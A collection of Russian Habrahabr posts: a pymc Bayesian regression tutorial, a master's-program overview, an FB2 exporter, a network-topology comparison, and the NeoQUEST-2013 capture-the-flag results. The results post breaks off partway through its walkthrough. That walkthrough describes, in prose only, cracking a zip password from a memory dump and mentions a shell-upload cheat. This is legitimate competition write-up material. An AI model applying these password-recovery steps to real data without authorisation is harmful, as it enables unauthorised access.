Байесовский анализ в Python

Этот пост является логическим продолжением моего первого поста о Байесовских методах, который можно найти тут.
Я бы хотел подробно рассказать о том, как проводить анализ на практике.

Как я уже упоминал, наиболее популярным средством, используемым для Байесовского анализа, является язык R с пакетами JAGS и/или BUGS. Для рядового пользователя различие в пакетах состоит в кросс-платформенности JAGS (на собственном опыте убедился в наличии конфликта между Ubuntu и BUGS), а также в том, что в JAGS можно создавать свои функции и распределения (впрочем, необходимость в этом у рядового пользователя возникает нечасто, если вообще возникает). Кстати, отличным и удобным IDE для R является, например, RStudio.
Но в этом посте я напишу об альтернативе R — Python с модулем pymc.
В качестве удобного IDE для Python могу предложить spyder.
Я отдаю предпочтение Python потому, что, во-первых, не вижу смысла изучать такой не слишком распространенный язык, как R, только для того, чтобы посчитать какую-то задачку, касающуюся статистики. Во-вторых, Python с его модулями, с моей точки зрения, ничем не уступает R в простоте, понятности и функциональности.

Я предлагаю решить простую задачу нахождения коэффициентов линейной зависимости данных. Подобная задача оптимизации параметров довольно часто встречается в самых разных областях знаний, поэтому я бы сказал, что она весьма показательна. В конце мы сможем сравнить результат Байесовского анализа и метода наименьших квадратов

Установка ПО

Прежде всего нам надо установить Python (для тех, кто этого еще не сделал). Я не пользовался Python 3.3, но с 2.7 все точно работает.
Затем нужно установить все необходимые модули для Python: numpy, Matplotlib.
При желании вы можете также установить дополнительные модули: scipy, pyTables, pydot, IPython и nose.
Все эти установки (кроме самого Python) проще делать через setuptools.
А теперь можно установить собственно pymc (его можно также поставить через setuptools).

Подробный гайд по pymc можно найти тут.

Формулировка задачи

У нас есть данные, полученные в ходе гипотетического эксперимента, которые линейно зависят от некоторой величины x. Данные поступают с шумом, дисперсия которого неизвестна. Необходимо найти коэффициенты линейной зависимости.

Решение

Сперва мы импортируем модули, которые мы установили, и которые нам понадобятся:

import numpy   import pymc 

Затем нам надо получить наши гипотетические линейные данные.
Для этого мы определяем, какое количество точек мы хотим иметь (в данном случае 20), они равномерно распределены на отрезке [0, 10], и задаем реальные коэффициенты линейной зависимости. Далее мы накладываем на данные гауссов шум:

#Generate data with noise number_points     = 20 true_coefficients = [10.4, 5.5] x                 = numpy.linspace(0, 10, number_points) noise             = numpy.random.normal(size = number_points) data              = true_coefficients[0]*x + true_coefficients[1] + noise 

Итак, у нас есть данные, и теперь нам надо подумать, как мы хотим проводить анализ.
Во-первых, мы знаем (или предполагаем), что наш шум гауссов, значит, функция правдоподобия у нас будет гауссова. У нее есть два параметра: среднее и дисперсия. Так как среднее шума равно нулю, то среднее для функции правдоподобия будет задаваться значением модели (а модель у нас линейная, поэтому там два параметра). Тогда как дисперсия нам неизвестна, следовательно, она будет еще одним параметром.
В результате у нас есть три параметра и гауссова функция правдоподобия.
Мы ничего не знаем о значениях параметров, поэтому a priori предположим их равномерно распределенными с произвольными границами (эти границы можно отодвигать сколь угодно далеко).
При задании априорного распределения, мы должны указать метку, по которой мы будем узнавать об апостериорных значениях параметров (первый аргумент), а также указать границы распределения (второй и третий аргументы). Все вышеперечисленные аргументы являются обязательными (еще есть дополнительные аргументы, описание которых можно найти в документации).

sigma = pymc.Uniform('sigma', 0., 100.) a     = pymc.Uniform('a', 0., 20.) b     = pymc.Uniform('b', 0., 20.) 

Теперь надо задать нашу модель. В pymc сушествует два наиболее часто используемых класса: детерминистический и стохастический. Если при заданных входных данных можно однозначно определить значение(-я), которое(-ые) модель возвращает, значит, это детерминистическая модель. В нашем случае при заданных коэффициентах линейной зависимости для любой точки мы можем однозначно определить результат, соответственно это детерминистическая модель:

@pymc.deterministic(plot=False) def linear_fit(a=a, b=b, x=x):       return a*x + b 

И наконец задаем функцию правдоподобия, в которой среднее — это значение модели, sigma — параметр с заданным априорным распределением, а data — это наши экспериментальные данные:

y = pymc.Normal('y', mu=linear_fit, tau=1.0/sigma**2, value=data, observed=True) 

Итак, весь файл model.py выглядит следующим образом:

import numpy   import pymc  #Generate data with noise number_points     = 20 true_coefficients = [10.4, 5.5] x                 = numpy.linspace(0, 10, number_points) noise             = numpy.random.normal(size = number_points) data              = true_coefficients[0]*x + true_coefficients[1] + noise  #PRIORs: #as sigma is unknown then we define it as a parameter: sigma = pymc.Uniform('sigma', 0., 100.) #fitting the line y = a*x+b, hence the coefficient are parameters: a     = pymc.Uniform('a', 0., 20.) b     = pymc.Uniform('b', 0., 20.)  #define the model: if a, b and x are given the return value is determined, hence the model is deterministic:  @pymc.deterministic(plot=False) def linear_fit(a=a, b=b, x=x):       return a*x + b  #LIKELIHOOD #normal likelihood with observed data (with noise), model value and sigma      y = pymc.Normal('y', mu=linear_fit, tau=1.0/sigma**2, value=data, observed=True) 

Теперь я предлагаю сделать небольшое теоретическое отступление и обсудить, что же все-таки делает pymc.

С точки зрения матеметики, нам нужно решить следующую задачу:
p(a, b, sigma | Data) = p(Data | a, b, sigma)*p(a, b, sigma) / p(Data)

Т.к. a, b и sigma независимы, то мы можем переписать уравнение в следующем виде:
p(a, b, sigma | Data) = p(Data | a, b, sigma)*p(a)*p( b)*p(sigma) / p(Data)

На бумаге задача выглядит очень просто, но, когда мы ее решаем численно (при этом мы должны думать еще и о том, что мы хотим численно решить любую задачу такого класса, а не только с определенными типами вероятностей), то тут возникают трудности.

p(Data) — это, как обсуждалось в моем предыдущем посте, константа.
p(Data | a, b, sigma) нам определенно задана (то есть при известных a, b и sigma мы можем однозначно рассчитать вероятности для наших имеющихся данных)
a вот вместо p(a), p( b) и p(sigma) у нас, по сути, имеются только генераторы псевдослучайных величин, распределенных по заданному нами закону.
Как из всего этого получить апостериорное распределение? Правильно, генерировать (делать выборку) a, b и sigma, а потом считать p(Data | a, b, sigma). В результате у нас получится цепочка значений, которая является выборкой из апостериорного распределения. Но тут возникает вопрос, каким образом мы можем сделать эту выборку правильно. Предположим, что наше апостериорное распределение имеет несколько мод («холмов») — тут возникает вопрос, как можно сгенерировать выборку, покрывающую все моды. То есть задача в том, как эффективно сделать выборку, которая бы «покрывала» все распределение за наименьшее количество итераций. Для этого есть несколько алгоритмов, наиболее используемый из которых MCMC (Markov chain Monte Carlo). Цепь Маркова — это такая последовательность случайных событий, в которой каждый элемент зависит от предыдущего, но не зависит от предпредыдущего. Я не стану описывать сам алгоритм (это может быть темой отдельного поста), но только отмечу, что pymc реализует этот алгоритм и в качестве результата дает цепь Маркова, являющуюся выборкой из апостериорного распределения. Вообще говоря, если мы не хотим, чтобы цепь была марковской, то нам просто надо ее «утоньшить», т.е. брать, например, каждый второй элемент.
Итак, мы создаем второй файл, назовем его run_model.py, в котором будем генерировать цепь Маркова. Файлы model.py и run_model.py должны быть в одной папке, иначе, в файл run_model.py нужно добавить код:

from sys import path path.append("путь/к/папке/с/файлом/model.py/") 

Вначале мы импортируем некоторые модули, которые нам пригодятся:

from numpy             import polyfit from matplotlib.pyplot import figure, plot, show, legend import pymc import model 

polyfit реализует метод наименьших квадратов — с ним мы сравним результаты байесовского анализа.
figure, plot, show, legend нужны для того, чтобы построить итоговый график.
model — это, собственно, наша модель.

Затем мы создаем MCMC объект и запускаем выборку:

D = pymc.MCMC(model, db = 'pickle') D.sample(iter = 10000, burn = 1000) 

D.sample принимает два аргумента (на самом деле можно задать больше) — количество итераций и burn-in (назовем его «периодом разогрева»). Период разогрева — это количество первых итераций, которые обрезаются. Дело в том, что MCMC вначале зависит от стартовой точки (вот такое уж свойство), поэтому нам необходимо отрезать этот период зависимости.

На этом наш анализ закончен.
Теперь у нас есть объект D, в котором находится выборка, и который имеет различные методы (функции), позволяющие рассчитать параметры этой выборки (среднее, наиболее вероятное значение, дисперсию и пр.).

Для того, чтобы сравнить результаты, мы делаем анализ методом наименьших квадратов:

chisq_result = polyfit(model.x, model.data, 1) 

Теперь печатаем все результаты:

print "\n\nResult of chi-square result: a= %f, b= %f" % (chisq_result[0], chisq_result[1]) print "\nResult of Bayesian analysis: a= %f, b= %f" % (D.a.value, D.b.value) print "\nThe real coefficients are:   a= %f, b= %f\n" %(model.true_coefficients[0], model.true_coefficients[1]) 

Строим стандартные для pymc графики:

pymc.Matplot.plot(D) 

И, наконец, строим наш итоговый график:

figure() plot(model.x, model.data, marker='+', linestyle='') plot(model.x, D.a.value * model.x + D.b.value, color='g', label='Bayes') plot(model.x, chisq_result[0] * model.x + chisq_result[1], color='r', label='Chi-squared') plot(model.x, model.true_coefficients[0] * model.x + model.true_coefficients[1], color='k', label='Data') legend() show() 

Вот полное содержание файла run_model.py:

from numpy             import polyfit from matplotlib.pyplot import figure, plot, show, legend import pymc import model  #Define MCMC: D = pymc.MCMC(model, db = 'pickle')  #Sample MCMC: 10000 iterations, burn-in period is 1000 D.sample(iter = 10000, burn = 1000)   #compute chi-squared fitting for comparison: chisq_result = polyfit(model.x, model.data, 1)  #print the results: print "\n\nResult of chi-square result: a= %f, b= %f" % (chisq_result[0], chisq_result[1]) print "\nResult of Bayesian analysis: a= %f, b= %f" % (D.a.value, D.b.value) print "\nThe real coefficients are:   a= %f, b= %f\n" %(model.true_coefficients[0], model.true_coefficients[1])  #plot graphs from MCMC: pymc.Matplot.plot(D)  #plot noised data, true line and two fitted lines (bayes and chi-squared): figure() plot(model.x, model.data, marker='+', linestyle='') plot(model.x, D.a.value * model.x + D.b.value, color='g', label='Bayes') plot(model.x, chisq_result[0] * model.x + chisq_result[1], color='r', label='Chi-squared') plot(model.x, model.true_coefficients[0] * model.x + model.true_coefficients[1], color='k', label='Data') legend() show() 

В терминале мы видим следующий ответ:

Result of chi-square result: a= 10.321533, b= 6.307100

Result of Bayesian analysis: a= 10.366272, b= 6.068982

The real coefficients are: a= 10.400000, b= 5.500000

Замечу, что, так как мы имеет дело со случайным процессом, те значения, которые вы увидите у себя, могут отличаться от вышеприведенных (кроме последней строки).

А в папке с файлом run_model.py мы увидим следующие графики.
Для параметра a:
image
Для параметра b:
image
Для параметра sigma:
image
Справа мы видим гистограмму апостериорного распределения, а две картинки слева относятся к цепи Маркова.
На них я сейчас заострять внимание не буду. Скажу лишь, что нижний график — это график автокорреляции (подробнее можно прочитать тут). Он дает представление о сходимости MCMC.
А верхний график показывает след выборки. То есть он показывает, каким образом происходила выборка с течением времени. Среднее этого следа есть среднее выборки (сравните вертикальную ось на этом графике с горизонтальной осью на гистограмме справа).

В заключение я расскажу еще об одной интересной опции.
Если все же поставить пакет pydot и в файле run_model.py включить следующую строку:

pymc.graph.dag(D).write_png('dag.png') 

То он создаст в папке с файлом run_model.py следующий рисунок:

image

Это прямой ацикличный граф, представляющий нашу модель. Белые эллипсы показывают стохастические узлы (это a, b и sigma), треугольники — детерминистические узлы, а затемненный эллипс включает наши псевдоэкспериментальные данные.
То есть мы видим, что значания a и b поступают в нашу модель (linear_fit), которая сама по себе является детерминистским узлом, а потом поступают в функцию правдоподобия y. Sigma сначала задается стохастическим узлом, но так как параметром в функции правдоподобия является не sigma, а tau = 1/sigma^2, то стохастическое значение sigma сначала возводится в квадрат (верхний треугольник справа), и потом считается tau. И уже tau поступает в функцию правдоподобия, так же как и наши сгенерированные данные.
Я думаю, что этот граф весьма полезен как для объяснения модели, так и для самостоятельной проверки логики
модели.

ссылка на оригинал статьи http://habrahabr.ru/post/170633/

Магистратура Академического университета РАН: делимся опытом

Кафедра математических и информационных технологий Санкт-Петербургского Академического университета РАН создана в 2008 году. В этом году ей исполняется 5 лет. Настало время подвести промежуточные итоги и поделиться опытом с сообществом.

Мы уже несколько раз писали об этом на хабре. Правда раньше мы ограничивались сухими объявлениями.

Зачем мы решили открыть кафедру?


В большинстве ВУЗов обучение в магистратуре проходит в расслабленной обстановке: курсов мало, они «халявные», а все студенты уже работают. Получается, что для тех, кто к пятому курсу сохранил желание учиться, магистратура — это два потерянных года. Нашей целью было создать магистратуру с сильной программой, в которой не было бы «лишних» курсов.

С чего всё начиналось?

В 2008 году на базе Академического университета РАН (тогда он назывался Академический физико-технический университет РАН) была создана кафедра математических и информационных технологий. В то время в Академическом университете были физические кафедры. Поэтому образование на нашей кафедре нам пришлось создавать «с чистого листа». Но нельзя просто так взять и открыть магистратуру по IT =), ведь нужно найти несколько десятков преподавателей, готовых читать курсы. Поэтому наша кафедра создавалась в сотрудничестве с Академией Современного Программирования и лабораторией математической логики Санкт-Петербургского отделения математического института им. В.А. Стеклова РАН, благодаря которым мы смогли сформировать образовательную программу и наполнить её курсами.

Первый набор (~15 человек) мы сразу же разделили на два направления: «разработка ПО» (software engineering) и «теоретическая информатика» (theoretical computer science). Предполагалось, что студенты на направлении «разработка ПО» планируют работать в IT индустрии, в то время как студенты на «теоретической информатике» ориентированы на работу в науке. Естественным образом сложилось так, что в основном студенты выбирали прикладное направление, а на теоретическое пошли только те, кто был уверен, что хочет в дальнейшем заниматься наукой.

Что мы имеем сейчас?

Сейчас на кафедре одновременно учится ~70 человек. Наша магистратура предлагает интенсивные программы обучения по трём направления. На пятом курсе это может быть до 16 пар в неделю — это четыре полных учебных дня с 10 до 6, не считая индивидуальной практики (НИР), которой в расписании отведён отдельный день. Как я уже написал, у нас на кафедре есть три направления — добавилось направление «Алгоритмы и анализ данных в биоинформатике». За 5 лет мы успели не только сменить название университета и получить звание «научно-исследовательский», но и создать лабораторию биоинформатики под руководством профессора Калифорнийского университет Павла Певзнера.
Теперь про каждое направление отдельно.

Специализация «теоретическая информатика»
Уникальной в своем роде программой «Теоретическая информатика» руководит известный ученый в области алгоритмов и теории сложности, основатель серии конференций Computer Science in Russia, идеолог Computer Science клуба при ПОМИ РАН, доктор физико-математических наук Э.А. Гирш.
Студенты этого направления систематически и глубоко изучают алгоритмы, криптографию, машинное обучение и теорию сложности. Обучение дополняется спецкурсами Computer Science клуба и поездками на студенческие школы.

Основой этого направления являются самостоятельные научные исследования студентов под руководством специалистов по теоретической информатике. Типичная магистерская диссертация представляет из себя статью, принятую на международную конференцию.

Специализация «разработка программного обеспечения»
Программа обучения «Разработка программного обеспечения» рассчитана на студентов, уже имеющих некоторые знания в области программирования, но желающих стать востребованными профессионалами, готовыми работать в любой IT-компании мирового уровня. Программа обучения составлена на основе современных международных стандартов по результатам консультаций с представителями крупнейших IT-компаний, сотрудники которых привлекаются и к преподаванию.

Каждый студент в обязательном порядке участвует в разработке программного проекта под руководством преподавателя или консультанта из промышленности. Многие студенческие проекты ведутся в рамках реального производственного процесса, а часто и на территории компании-партнера. Фактически, проектная модель обучения, так как она реализована в АУ, позволяет студентам на выходе из ВУЗа чувствовать себя специалистами с опытом работы в высокоорганизованных IT-командах, какими располагают компании-партнеры.

Специализация «алгоритмическая биоинформатика»
Специализированная магистерская программа «алгоритмическая биоинформатика» открыта при лаборатории алгоритмической биологии во главе с профессором Калифорнийского университета Павлом Певзнером.

Обучение включает в себя углублённые курсы по алгоритмам и структурам данных, применяемым для анализа больших массивов данных, которые получаются с помощью современных биотехнологических методов. Также в обучение входит программирование, дискретная математика, основы молекулярной биологии, статистика, машинное обучение и другие более специализированные предметы.

В качестве научной работы студенты под руководством сотрудников лаборатории принимают участие в решении реальных задач биоинформатики. Это разработка алгоритмов и программных систем для сборки геномных последовательностей (de novo genome sequence assembly), а также теоретические и практические задачи в области вычислительной протеомики и масс-спектрометрии. Программа рассчитана на выпуск высококачественных специалистов по алгоритмическим вопросам биоинформатики, востребованных как в науке, так и в индустрии.

Чем ещё можно заинтересовать студентов, которые хотят учиться?

Попробую кратко перечислить всё то, чего нам удалось достичь:

Обучение бесплатно
Если у студента есть право обучаться бесплатно, то он учится у нас бесплатно. Для других студентов оплата довольно символическая.

Индивидуальный подход
Все учебные вопросы можно решать быстро в индивидуальном порядке. Для этого у студентов есть кураторы, к которым они могут обращаться в любое время.

Гибкая программа
В программу включены курсы по выбору. Студент может также по согласованию с куратором заменить какой-нибудь курс в своей программе (если он, к примеру, его уже слушал).

Сотрудничество с компаниями
Кафедра активно сотрудничает с некоторыми крупными российскими IT компаниями (список есть на сайте). IT компании предлагают проекты для студенческих практик и дипломных работ, сотрудники компаний выступают на семинарах и ведут профильные курсы. Благодаря поддержке компаний мы имеем возможность платить студентам повышенные стипендии и помогать им с поездками на студенческие школы и конференции.

Преподаватели
Мы стараемся привлекать преподавателей, обладающих актуальными знаниями. Большинство курсов по разработке ПО читают сотрудники крупнейших IT компаний, математические курсы читают сотрудники математического института РАН, курсы по биоинформатике читают сотрудники лаборатории алгоритмической биоинформатики.

Упор на практику
У каждого студента есть руководитель практики — инженер или учёный в зависимости от направления, который курирует его научно-исследовательскую работу (НИР). Кроме этого, для направления «разработка ПО» каждый семестр проводятся хакатоны «Developer Days» — группы по 3-4 человека в течении нескольких дней «с нуля» разрабатывают различные приложения.

Обратная связь
Мы уважительно относимся к мнению студентов. Для этого мы постоянно проводим опросы, результаты которых позволяют нам оперативно решать возникающие проблемы.

Минусы

Постараюсь описать проблемы, которые у нас возникают.

Перенасыщенная программа
Два года — это очень короткий срок, чтобы успеть научить чему-то осмысленному. Поэтому у нас действительно много курсов. Основная проблема студентов — нехватка времени. Мы, конечно, предупреждаем об этом при приёме на кафедру, но не все могут правильно рассчитать свои силы.

Много отчисляем
Как следствие предыдущей проблемы, к сожалению, отчисляется довольно много студентов. Некоторые уходят сами, не справившись с нагрузкой. Некоторых приходится отчислять за академическую неуспеваемость. До защиты диплома доходит обычно не более 50%.

Неполноценность программы
Нам приходится читать некоторые базовые (т.е. бакалаврские) курсы. Мы бы с удовольствием оставили только курсы магистерского уровня, но мы набираем студентов со всей России (более половины наших студентов не из Питера), учат везде по-разному, зачастую учат плохо. Поэтому приходится «подтягивать» общий уровень.

Работу нельзя совмещать с учёбой
Это является спорным недостатком. В нормальной ситуации так и должно быть. Однако, в наших реалиях студенту сложно прожить на стипендию. Мы в свою очередь стараемся всячески поощрять успевающих студентов: выплачиваются повышенные стипендии, оплачиваются поездки на школы и конференции.

Успехи

Мерой успешности любого образовательного учреждения, конечно, является успешность его студентов. Вроде бы у нас с этим совсем не плохо. Вкратце это можно описать примерно так: кто хотел работать программистом — работает, кто хотел поступить в аспирантуру — поступил, кто хотел уехать в аспирантуру заграницу — уехал.

В добавок можно почитать посты на хабре от наших студентов:
рассказ об обучении на направлении «теоретическая информатика»,
рассказ об обучении на направлении «разработка ПО»,
рассказ об обучении на направлении «алгоритмическая биоинформатика».

В этом году у нас добавилась ещё пара поводов для гордости нашими студентами:

Поступление

При поступлении мы также стараемся избежать бюрократии. Анкета заполняется на сайте. После этого через некоторое время студент приглашается на онлайн тестирование. После удачного прохождения теста студент приглашается на собеседование. Через пару недель после собеседования мы сообщаем результат.

Вопросы

На следующие вопросы мы так и не смогли найти хороших ответов.

  1. Как решить проблему с необходимостью читать базовые курсы?
    Ничего адекватного, кроме открытия собственного бакалавриата мы пока не придумали.
  2. Чем привлекать сильных студентов?
    Пока мы считаем, что сильные студенты будут заинтересованы в сильной программе и большим количеством практики. Может быть мы что-то упускаем?
  3. Какие направления обучения заинтересовали бы вас?
    У нас три направления, которые обхватывают достаточно широкую аудиторию. Что осталось за бортом?
  4. Как правильно рекламировать IT образование?
    Этот вопрос нас давно волнует. Большинство рекламы вузов «в реале» (к примеру, в метро) мягко говоря отрицательные чувства. Где правильно рекламироваться в сети? В этом году попробуем контекстную реклама в социальных сетях. Где ещё? В прошлом году в качестве эксперимента сделали вот такой видеоролик ролик.

    Куда его повесить?

Спасибо за внимание. Буду рад ответить на любые вопросы, выслушать пожелания и комментарии. Если вы занимаетесь IT магистратурой где-нибудь в другом месте, то я буду рад услышать о вашем опыте.

ссылка на оригинал статьи http://habrahabr.ru/post/170757/

Экспорт избранного Хабра в FB2 — скоростная PHP-версия

В своё время я уже видел такой конвертер здесь же на Хабре, написанный на питоне, но он на моей машинке сжирал много-много-много ресурсов и ни разу не смог моё избранное (а это 400+ постов) до конца сохранить, падая то на некорректном файле, то на «кривой» статье. Пришлось переписать, результаты трудов под катом.

  • Уже было, причем дважды (в fb2, на питоне)!
    • PDF на телефоне требует больше ресурсов для просмотра.
    • питоновский скрипт сохранения в fb2 съедал у меня около 3 Гб оперативной памяти (а на старом ноутбуке ровно 3 и было), и ни разу не смог успешно завершить процесс успешно.

  • Комментарии к постам сохраняются?
    В библиотеку парсера соответствующую функцию я добавил, но сохранение в файл не сделал. Если будут идеи, как красиво отобразить комментарии ограниченными возможностями fb2-разметки — поделитесь идеей, с удовольствием доделаю следующим патчем.
  • Валидация, работоспособность файла, известные проблемы?
    В CoolReader под android открывается 100%, windows-версия FBReader может падать на некоторых статьях.
    Не всё корректно отображается — тэги таблицы удаляются, код не оборачивается в соответствующий тэг (будет в следующем патче).
    Все некорретные статьи или картинки молча отбрасываются, никакого логгирования ошибок.
  • Как запустить?
    Качаем, распаковываем в любой виртуальный хост, правим config.php под себя и открываем в браузере.
    Все нужные библиотеки или в комплекте, или докачиваются сабмодулями.
  • Где взять то?
    На github’е, вестимо.
  • Настройки?
    В файле config.php, всё подписано русским utf’ом. Можно, например, отключить сохранение картинок или сменить папки для сохранения данных.
  • Что интересного в реализации?
    • парсинг ведётся силами библиотеки phpquery
    • все действия разнесены в отдельные файлы (скачивание списка, скачивание статьи, сохранение картинки)
    • за один шаг выполняется одно атомарное действие (скачивание одной статьи, скачивание одного вложенного файла и т.п.). Таким образом памяти каждый скрипт ест мало, а работает относительно быстро.

  • Я нашел ошибку/баг/кривой код/у меня есть идея!
    Делитесь здесь, в личку, на github’е — в свободное время могу заняться.

ссылка на оригинал статьи http://habrahabr.ru/post/170755/

Кольцо и звезда: кто кого?

При построении сетей есть две конкурирующие топологии: это звезда (разных вариантов) и кольцо (разных вариантов). У звезды одно преимущество – низкая переподписка. Недостатки звезды — сложная структура, а соответственно сложность эксплуатации и высокая стоимость. Звезда — это решение для собранных в одно место пользователей на доступе: классическая сеть здания управления в предприятии, но не всегда и даже в этом случае. Ведь опорная сеть здания с соблюдением норм пожарной безопасности всегда будет прокладываться через два кабельных стояка в разных частях здания и это снова – кольцо, а не звезда: одно кольцо/жгут оптики через эти два стояка и два центра ядра сети здания/ЦОД.

Выбор конкретной топологии решения зависит от объекта и его особенностей. Кольцо всегда более выгодно для распределенных сетей, так как сделать звезду на большую распределенную сеть очень и очень дорого и в реальности практически невозможно. Поэтому кольцевая топология — это оптимальная топология для крупных предприятий, перерабатывающих заводов, городских сетей, сетей масштабов страны.

Рис. 1. Модуль АСУТП завода.


Работать по топологии звезды могут все производители сетевого оборудования, а работать по топологии кольца на коммутаторах с распределением виртуальных сетей по всему кампусу без использования сложных и дорогостоящих технологий типа MPLS/VPLS могут только ограниченное число производителей – HP, Huawei, Extreme.

К примеру, возьмем парочку типовых простых «кольцевых» объектов: стадион и аэропорт.

Рис. 2. Сеть стадиона.

Для данных объектов кольцевая топология имеет следующие преимущества, по сравнению со звездой:

  1. Инсталлировать и поддерживать топологию кольца гораздо проще. Инсталлировать и поддерживать топологию кольца гораздо проще, так как устройства доступа через кольцо сразу попадают или в серверную ферму или в ядро, а звезда еще предполагает промежуточный уровень — агрегация каналов с уровня доступа. Причина уровня агрегации у звезды проста: на уровне агрегации цена за порт гораздо ниже, чем на уровне ядра у звезды,, а также для более гибкого применения различных политик.
  2. Для современных сетей резервирование каналов связи от уровня доступа в уровень аггрегации и/или ядра что является критическим. Если в звезде делать резервирование кабельных трасс по разным путям, тогда физически получиться кольцо, а логически — звезда. Но при этом для каждого коммутатора на доступе придется тащить в места коммутации отдельные кабельные трассы, так как оптика всегда разрезается и сваривается всем жгутом, а не по отдельным жилам. Каждая сварка оптики на пути движения света в волокне увеличивает потери бюджета оптики, и как следствие, сокращает расстояние работы оптических каналов связи. Также надо учитывать, что и работ по сварке оптики будет в несколько раз больше при топологии звезды, чем при топологии кольцо.
  3. Для стадионов, аэропортов и для сетей предприятий всегда есть как минимум две отдельных физически разделенных сети. Для кольца – это просто, для звезды у распределенных объектов – реальность печальна.
  4. Сходимость звезды будет всегда хуже, так как всегда будут петли логических путей между коммутаторами доступа, кроме случая когда в ядре два слотовых коммутатора работают как один. Сходимость топологии кольца от 50 ms (одно кольцо) до 200 ms (к основному кольцу подключаются подкольца).
  5. У звезды сложности с масштабированием: добавление кабельных трасс в любом месте — это протяжка нового дополнительного кабеля, для кольца — добавочная муфта в существующем оптическом жгуте.
  6. В случае кольца мы выводим с доступа в ядро всегда нужную и планируемую скорость uplink каналами из коммутаторов, которые наиболее нагружены: то есть платим по мере необходимости за рост полосы. А в случае звезды – мы платим сразу за все и реально не используем полосу пропукания подключенных uplink каналов.

Последний пункт хотелось бы рассмотреть более подробно. Нужно отметить, что узким местом всегда будет подключение серверов: так как если мы подключим 28 (это более чем достаточно даже для самых крупных в мире стадионов) гигабитных коммутаторов по топологии звезды, тогда у нас перегрузка при подключении доступа к ядру будет 2*2*20Гб(скорость подключения серверного модуля кольцам)/28*20ГБ (28 коммутаторов доступа по два 10 Гб/c uplink)=1:7. В случае стека — это будет 40ГБ (два серверных стека)/4*20Гб (четыре стека доступа)= 1:2. Но переподписка на доступе у звезды будет 20Гб (два аплинка по 10Гб)/ 48*1ГБ( порты доступа)= 5:12 = 1:2.4, а у стека 20Гб(ширина стека)/7 *48*1Гб (семь коммутаторов доступа в одном стеке) = 5:7*12 = 5:84 = 1:17. Для стандартной сети на доступе перегрузка допускается 1:20. Как мы видим, в случае звезды низкая перегрузка на доступе вызывает «захлебывание» для серверов. Для решения данных проблем в ядре сети для топологии звезды нужно ставить дорогостоящие модули (но вопрос – для чего их добавлять, если уже и так достаточно серверных портов?), если же нужно на доступе в стеке уменьшить перегрузку – нужно просто добавить оптические конверторы. Ниже привожу таблицу сравнения.

Технология Cтек Звезда Замечания
Переподписка на доступе 1:17 1:2 Допустима 1:20
Уменьшение переподписки на доступе Пара оптических конверторов Стоимость каждого SFP+ невысокая — 3К. Но, учитывая опыт построения предыдущих стадионов, где вообще доступ 100 МБ, этой перегрузки будет более чем достаточно.
Уменьшение переподписки при подключении серверов Серверные модули в модульный коммутатор Вопрос: если всего до 50-ти серверов, для чего подключать еще порты, половина из которых не будет задействована даже теоретически?!

Но тут в борьбу кольца и звезды вмешался прогресс: появились 40 ГБ и 100 Гб интерфейсы. Для 95% клиентов – это просто недостижимые в ближайшем будущем полосы uplink каналов связи для подключения доступа к ядру. И как результат, по тем же жилам, ничего не добавляя, а просто заменяя 10 Гб трансивер на 40ГБ или 100ГБ, мы повышаем в несколько раз пропускную способность кольца, и тут уже потенциальная проблема переподписки кольца не появляется в принципе. Хотя, опять же, цена 40 Гб и 100 Гб трансиверов на 10 км сейчас очень высока, но через год – это уже будет цена текущих 10Гб трансиверов.

Самые крупные примеры использования кольцевых технологий совместно с технологией стекирования в Азии – это город Пекин, в Европе — французские железные дороги. Но у железных дорог Франции просто не было выбора после того как TR «умер». И это проекты реализованные на оборудовании компании HP (бывшего оборудования 3Com), что дает повод для размышлений и применения на практике описанного кольцевого дизайна для проектировщиков сетей передачи данных.

ссылка на оригинал статьи http://habrahabr.ru/company/hp/blog/169919/

Результаты отборочного этапа NeoQUEST-2013 и способы прохождения заданий

Всем привет от команды NeoQUEST-2013!
Отборочный этап прошёл, и мы рады подвести его итоги. А итоги таковы, что мы не смогли ограничиться запланированным набором призов и подарков, потому что много участников, вклад которых нельзя не отметить.

Под катом подведение итогов и описание заданий отборочного этапа NeoQUEST–2013.

Призы получат четверо участников (l33t, vos, AVictor, d90andrew), прошедших все задания. Особняком стоят l33t – они участвовали командой (вообще-то, отборочный этап NeoQUEST-2013 предполагал индивидуальное участие), и мы по ходу квеста придумали для них отдельный командный приз (крутейший нанодром с кучей багов).
Участник AVictor вдоль и поперёк изучил задание с Android (и не только его) и оперативно информировал нас о мыслимых и немыслимых читах, и поэтому помимо приза (iPod Touch) мы вручаем ему ещё и дополнительный подарок (баги-баги-баги), чтобы он и дальше проявлял интерес к поиску багов везде, всегда и во всём. Участники vos и d90andrew получают ASUS Transformer Pad Infinity TF700T и iPod Nano соответственно.
Наш специальный «приз симпатий жюри» (AR.Drone 2.0) достаётся участнику tavel, который хоть и прошёл не все задания, но разобрал по косточкам алгоритмы генерации CVV2 (радует, что в NeoQUEST участвуют специалисты такого уровня) и проявил беспримерное усердие в прохождении задания со skipass.
Кроме того, все участники, преуспевшие в прохождении квеста, получат от нас памятные подарки, которые в этом году будут слаще и вкуснее прошлогодних.

Со всеми участниками, прошедшими во второй (очный) тур NeoQUEST-2013, который состоится в окрестностях Санкт-Петербурга 10 июля 2013 года, мы свяжемся персонально (вы ведь указывали действующий e-mail при регистрации) для передачи призов и подарков.

Описание заданий и способов их прохождения

Раз-страничка, два страничка (разбор дампов)

В распоряжении участников были дамп трафика и дамп оперативной памяти. В трафике без труда находится ftp-сессия передачи запароленного zip-архива с файлом key.txt. Осталось только найти пароль к архиву в дампе памяти, что можно сделать двумя путями: простым и совсем простым.
Простой путь: с помощью утилиты strings найти все Unicode-строки и составить словарь для брутфорса пароля, а дальше вскрытие архива остается делом техники.
Совсем простой путь: если сделать «ctrl+F» в дампе памяти по названию архива «key.txt», то совсем рядом обнаружится и пароль.

Стоимость сообщения 18 у.е. без НДС (реверсинг Android-приложения + javascript через SMS)

Запытанный игнором во время разработки задания бот-экстраверт с радостью раздавал всем собеседникам номер своего мобильного, лишь бы получить побольше сообщений — ведь он сидел в чате и с веб-морды, и с телефона.

image

Чтобы порадовать бедолагу вниманием, нужно было отослать смс, и если она проходила по регулярному выражению, то тут же добавлялась как входящее сообщение в чат.
Кроме этой возможности в приложении была реализована функция передачи собеседнику файла с SD-карточки через сервер (что, кстати, породило серьезный чит с заливом шелла, который заметили даже хостеры).
